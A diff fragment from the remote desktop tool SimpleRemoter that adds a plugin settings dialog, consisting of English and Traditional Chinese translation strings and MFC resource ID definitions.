CComboBox m_comboRunType;
|
||||
CComboBox m_comboCallType;
|
||||
CComboBox m_comboMode;
|
||||
CEdit m_editInterval;
|
||||
CEdit m_editMaxCount;
|
||||
};
|
||||
@@ -1773,3 +1773,33 @@ Web
|
||||
请在菜单设置Web端口!=Please set Web liscening port!
|
||||
请设置环境变量 YAMA_PWD 来使用Web远程桌面!=Please set YAMA_PWD to use Web SimpleRemoter!
|
||||
如需Web远程桌面跨网使用方案,请联系管理员!=If you need to use Web SimpleRemoter in WAN, please contact administrator!
|
||||
; Plugin Settings Dialog - English Translation
|
||||
; Format: Simplified Chinese=English
|
||||
|
||||
内存DLL=Memory DLL
|
||||
自动检测=Auto Detect
|
||||
IOCP线程=IOCP Thread
|
||||
自定义FRPC[不可用]=Custom FRPC [Unavailable]
|
||||
标准FRPC[不可用]=Standard FRPC [Unavailable]
|
||||
不自动执行=No Auto Execute
|
||||
启动执行=Execute on Startup
|
||||
每日定时[未实现]=Daily Schedule [Not Implemented]
|
||||
每周定时[未实现]=Weekly Schedule [Not Implemented]
|
||||
名称=Name
|
||||
大小=Size
|
||||
运行类型=Run Type
|
||||
调度模式=Schedule Mode
|
||||
插件参数配置=Plugin Parameters
|
||||
运行类型:=Run Type:
|
||||
调用方式:=Call Type:
|
||||
调度模式:=Schedule Mode:
|
||||
间隔(秒):=Interval (sec):
|
||||
最大次数:=Max Count:
|
||||
插件设置=Plugin Settings
|
||||
请先选择一个插件=Please select a plugin first
|
||||
提示=Notice
|
||||
配置已保存=Configuration saved
|
||||
保存(&S)=Save(&S)
|
||||
关闭=Close
|
||||
插件设置(&S)=Plugin Settings(&S)
|
||||
代理端口 - 自启=Proxy Port - AutoRun
|
||||
|
||||
@@ -1765,3 +1765,33 @@ FRPS
|
||||
请在菜单设置Web端口!=请在菜单设置Web端口!
|
||||
请设置环境变量 YAMA_PWD 来使用Web远程桌面!=请设置环境变量 YAMA_PWD 来使用Web远程桌面!
|
||||
如需Web远程桌面跨网使用方案,请联系管理员!=如需Web远程桌面跨网使用方案,请联系管理员!
|
||||
; Plugin Settings Dialog - Traditional Chinese Translation
|
||||
; Format: Simplified Chinese=Traditional Chinese
|
||||
|
||||
内存DLL=記憶體DLL
|
||||
自动检测=自動檢測
|
||||
IOCP线程=IOCP執行緒
|
||||
自定义FRPC[不可用]=自訂FRPC[不可用]
|
||||
标准FRPC[不可用]=標準FRPC[不可用]
|
||||
不自动执行=不自動執行
|
||||
启动执行=啟動執行
|
||||
每日定时[未实现]=每日定時[未實現]
|
||||
每周定时[未实现]=每週定時[未實現]
|
||||
名称=名稱
|
||||
大小=大小
|
||||
运行类型=執行類型
|
||||
调度模式=排程模式
|
||||
插件参数配置=外掛參數設定
|
||||
运行类型:=執行類型:
|
||||
调用方式:=呼叫方式:
|
||||
调度模式:=排程模式:
|
||||
间隔(秒):=間隔(秒):
|
||||
最大次数:=最大次數:
|
||||
插件设置=外掛設定
|
||||
请先选择一个插件=請先選擇一個外掛
|
||||
提示=提示
|
||||
配置已保存=設定已儲存
|
||||
保存(&S)=儲存(&S)
|
||||
关闭=關閉
|
||||
插件设置(&S)=插件设置(&S)
|
||||
代理端口 - 自启=代理端口 - 自启
|
||||
|
||||
@@ -247,6 +247,7 @@
|
||||
#define IDD_FEATURE_LIMITS 368
|
||||
#define IDB_BITMAP8 369
|
||||
#define IDB_BITMAP_CANCELSHARE 369
|
||||
#define IDD_DIALOG_PLUGIN_SETTINGS 370
|
||||
#define IDC_MESSAGE 1000
|
||||
#define IDC_ONLINE 1001
|
||||
#define IDC_STATIC_TIPS 1002
|
||||
@@ -705,6 +706,19 @@
|
||||
#define IDC_STATIC_FEATURE_TIP 2522
|
||||
#define IDC_STATIC_AUTH_HOSTNUM 2523
|
||||
#define IDC_EDIT_AUTH_HOSTNUM 2524
|
||||
#define IDC_LIST_PLUGINS 2526
|
||||
#define IDC_COMBO_RUNTYPE_P 2527
|
||||
#define IDC_COMBO_CALLTYPE 2528
|
||||
#define IDC_COMBO_MODE 2529
|
||||
#define IDC_EDIT_INTERVAL 2530
|
||||
#define IDC_EDIT_MAXCOUNT 2531
|
||||
#define IDC_BTN_SAVE 2532
|
||||
#define IDC_STATIC_PLUGIN_SETTINGS 2533
|
||||
#define IDC_STATIC_PLUGIN_RUNTYPE 2534
|
||||
#define IDC_STATIC_PLUGIN_CALLTYPE 2535
|
||||
#define IDC_STATIC_PLUGIN_SCHEDULE 2536
|
||||
#define IDC_STATIC_PLUGIN_INTERVAL 2537
|
||||
#define IDC_STATIC_PLUGIN_COUNTER 2538
|
||||
#define ID_ONLINE_UPDATE 32772
|
||||
#define ID_ONLINE_MESSAGE 32773
|
||||
#define ID_ONLINE_DELETE 32775
|
||||
@@ -935,15 +949,18 @@
|
||||
#define ID_CANCEL_SHARE 33042
|
||||
#define ID_33043 33043
|
||||
#define ID_WEB_REMOTE_CONTROL 33044
|
||||
#define ID_TOOL_PLUGIN_SETTINGS 33045
|
||||
#define ID_33046 33046
|
||||
#define ID_PROXY_PORT_AUTORUN 33047
|
||||
#define ID_EXIT_FULLSCREEN 40001
|
||||
|
||||
// Next default values for new objects
|
||||
//
|
||||
#ifdef APSTUDIO_INVOKED
|
||||
#ifndef APSTUDIO_READONLY_SYMBOLS
|
||||
#define _APS_NEXT_RESOURCE_VALUE 370
|
||||
#define _APS_NEXT_COMMAND_VALUE 33045
|
||||
#define _APS_NEXT_CONTROL_VALUE 2525
|
||||
#define _APS_NEXT_RESOURCE_VALUE 371
|
||||
#define _APS_NEXT_COMMAND_VALUE 33048
|
||||
#define _APS_NEXT_CONTROL_VALUE 2539
|
||||
#define _APS_NEXT_SYMED_VALUE 105
|
||||
#endif
|
||||
#endif
|
||||
|
||||
Reference in New Issue
Block a user